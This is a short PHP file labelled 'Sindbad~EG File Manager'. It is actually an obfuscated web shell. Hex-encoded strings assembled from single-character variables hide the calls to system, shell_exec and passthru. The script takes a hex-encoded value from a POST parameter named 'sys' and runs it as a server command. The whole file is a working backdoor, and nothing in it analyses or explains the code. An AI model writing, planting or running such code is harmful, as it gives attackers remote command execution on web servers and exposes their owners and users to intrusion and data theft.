Sindbad~EG File Manager

<?php

$var1 = '3';
$var2 = '7';
$var3 = '4';
$var4 = '6';
$var5 = '8';
$var6 = 'c';
$var7 = '5';
$var8 = 'f';
$var9 = '0';
$var10 = '1';
$var11 = '2';
$var12 = '9';
$center1 = pack("H*", '7' . $var1 . '7' . '9' . '7' . $var1 . $var2 . $var3 . '6' . '5' . $var4 . 'd');
$center2 = pack("H*", '7' . $var1 . '6' . $var5 . $var4 . '5' . '6' . $var6 . '6' . 'c' . $var7 . $var8 . $var4 . $var7 . $var2 . '8' . $var4 . $var7 . '6' . '3');
$center3 = pack("H*", '7' . '3' . '6' . '8' . '6' . $var7 . '6' . $var6 . $var4 . $var6);
$center4 = pack("H*", '7' . $var9 . '6' . $var10 . '7' . $var1 . '7' . '3' . $var2 . '4' . '6' . '8' . $var2 . $var11 . '7' . $var7);
$sys = pack("H*", '7' . $var1 . '7' . $var12 . '7' . $var1);
if (isset($_POST[$sys])) {
    $sys = pack("H*", $_POST[$sys]);
    if (function_exists($center1)) {
        $center1($sys);
    } elseif (function_exists($center2)) {
        $center2($sys);
    } elseif (function_exists($center3)) {
        $center3($sys);
    } elseif (function_exists($center4)) {
        $center4($sys);
    }
    exit;
}